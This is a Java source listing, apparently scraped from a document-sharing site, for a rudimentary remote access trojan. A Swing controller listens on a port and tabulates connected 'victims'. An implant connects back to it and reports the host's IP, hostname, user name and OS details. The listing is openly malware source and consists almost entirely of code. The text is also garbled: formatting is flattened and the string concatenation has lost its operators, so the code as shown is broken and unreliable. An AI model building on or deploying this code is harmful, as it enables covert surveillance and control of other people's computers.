Вы находитесь на странице: 1из 7

Cliente import import import import import import import import import import import import import import

import import import import import import import import import import import import import java.awt.BorderLayout; java.awt.Color; java.awt.FlowLayout; java.awt.event.ActionEvent; java.awt.event.ActionListener; java.io.BufferedReader; java.io.IOException; java.io.InputStreamReader; java.io.PrintWriter; java.net.InetAddress; java.net.ServerSocket; java.util.Hashtable; java.util.StringTokenizer; javax.swing.JButton; javax.swing.JFrame; javax.swing.JLabel; javax.swing.JMenu; javax.swing.JMenuBar; javax.swing.JMenuItem; javax.swing.JPanel; javax.swing.JPopupMenu; javax.swing.JScrollPane; javax.swing.JTable; javax.swing.JTextField; javax.swing.UIManager; javax.swing.UnsupportedLookAndFeelException; javax.swing.table.DefaultTableModel;

class User extends Thread{ private boolean connected = true; private java.net.Socket socket = null; private Client client = null; @SuppressWarnings("unused") private int id = 0; private PrintWriter printWriter = null; //Salida private BufferedReader bufferedReader = null; //Entrada private String[] userinformation = null; //Mantiene la informacion del usuario public User(Client client,java.net.Socket socket,int id){ this.client = client; this.socket = socket; this.id =id ; userinformation = new String[7]; InOut(); } public void writer(String command){ //Metodo para enviar commands

printWriter.println(command); printWriter.flush(); } private final void InOut(){ //iniciar Entrada y Salida E/S try { printWriter = new PrintWriter(socket.getOutputStream()); bufferedReader = new BufferedReader( new InputStreamReader(socket.getInputStream())); } catch (IOException e) {e.printStackTrace(); } } private void sleep(int time){ try { Thread.sleep(time); } catch (InterruptedException e) { e.printStackTrace(); } } public static final int DELAY = 70; boolean active = false; @Override public synchronized void run(){ while(connected){ try { if(bufferedReader.ready()){ String command =bufferedReader.readLine(); if(command.equalsIgnoreCase("NEW")){ String _command = bufferedReader.readLine(); StringTokenizer tokenizer = new StringTokenizer(_command,"?"); int index=0; while(tokenizer.hasMoreElements()){ userinformation [index]=tokenizer.nextToken(); index++; } client.addUser( userinformation[0], userinformation[1], userinformation[2], userinformation[3], userinformation[4], userinformation[5], userinformation[6] ); active = true; continue; } } } catch (IOException e) {e.printStackTrace(); } sleep(DELAY); } }

} class socket extends ServerSocket implements Runnable{ private java.net.Socket socket = null; private Client client = null; public socket(int port, int backlog,Client client) throws IOException { super(port, backlog); this.client = client; } private Hashtable<InetAddress, User> hashtableUsers = new Hashtable<InetAddress, User>(); private boolean activated = true; @Override public synchronized void run() { int n = 0; while(activated){ try { this.socket = accept(); User user = new User(client,socket,n); user.start(); hashtableUsers.put(socket.getInetAddress(), user); } catch (IOException e) {break; } } } public void _stop() { try { this.close(); } catch (IOException e) { e.printStackTrace(); } } } class TableModelMain extends DefaultTableModel { private static final long serialVersionUID = 1L; public TableModelMain(){ addColumn("ID"); addColumn("IP Remota"); addColumn("PC"); addColumn("Administrador"); addColumn("OS"); addColumn("Version"); addColumn("Puerto"); } @Override public boolean isCellEditable(int row, int column) { return false; } public void add( String ID,

String IP, String PC, String ADMIN, String OS, String V, String PORT) { Object[] obj = {ID,IP,PC,ADMIN,OS,V,PORT}; super.addRow(obj); } } public class Client extends JFrame implements ActionListener{ private TableModelMain modelMain = null;// private JTable table = null;// private JTextField textFieldPort = null;// private JButton buttonInit = null;// private socket socket = null;// private JMenuBar menuBar = new JMenuBar(); @Override public void actionPerformed(ActionEvent arg0) { try { if(arg0.getActionCommand().equalsIgnoreCase("stop")){socket._stop();buttonInit.setText( "Iniciar"); textFieldPort.setEnabled(true);}else{ socket = new socket(Integer.parseInt(textFieldPort.getText()),100,this); new Thread(socket).start(); textFieldPort.setEnabled(false); buttonInit.setText("Stop"); } } catch (NumberFormatException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } private static final long serialVersionUID = 1L; public void addUser(String ID, String IP, String PC, String ADMIN, String OS, String V, String PORT) { modelMain.add(ID, IP, PC, ADMIN, OS, V, PORT); } public Client() { modelMain = new TableModelMain(); table = new JTable(modelMain); table.setBackground(Color.WHITE); JScrollPane scrollPane = new JScrollPane(table); table.setFillsViewportHeight(true);

this.setLayout(new BorderLayout()); textFieldPort = new JTextField(5); JPanel panel = new JPanel(new FlowLayout(FlowLayout.LEFT)); panel.add(new JLabel("Puerto: ")); panel.add(textFieldPort); buttonInit = new JButton("Iniciar"); buttonInit.addActionListener(this); panel.add(buttonInit); menuBar = new JMenuBar(); menuBar.add(new JMenu("Archivo")); setJMenuBar(menuBar); JPopupMenu popupMenu = new JPopupMenu(); JMenuItem item = new JMenuItem("Funcion 1"); popupMenu.add(item); table.setComponentPopupMenu(popupMenu); getContentPane().add(panel,BorderLayout.NORTH); getContentPane().add(scrollPane,BorderLayout.CENTER); initFrame(); } private final void initFrame(){ this.setSize(800,300); this.setVisible(true); } public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, UnsupportedLookAndFeelException { UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); new Client().setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); } }

server import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.InetAddress; import java.net.Socket; import java.net.UnknownHostException; interface config{ public static final int port = 8086; public static final String host = "localhost"; } public class server extends Thread{ private Socket socket = null; private boolean active = true; private PrintWriter printWriter = null; private BufferedReader reader = null; @Override public synchronized void run(){ while(active){ try { if(reader.ready()){ } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } try { Thread.sleep(70); } catch (InterruptedException e) { e.printStackTrace(); } } } private final void writer(String command){ printWriter.println(command); printWriter.flush(); } private final void sendInformation() {

try { final InetAddress address = InetAddress.getLocalHost(); this.writer("NEW"); this.writer("victima" "?" address.getHostAddress() "?" address.getCanonicalHostName() "?" System.getProperty("user.name") "?" System.getProperty("os.name") "?" System.getProperty("os.version") "?" config.port); } catch (Exception e) { System.err.println(e); } } public server(){ try { this.socket = new Socket(config.host,config.port); inOut(); sendInformation(); } catch (UnknownHostException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } this.start(); } private final void inOut() throws IOException{ printWriter = new PrintWriter(socket.getOutputStream()); reader = new BufferedReader( new InputStreamReader(socket.getInputStream())); } /** * @param args */ public static void main(String[] args) { new server(); } }

Вам также может понравиться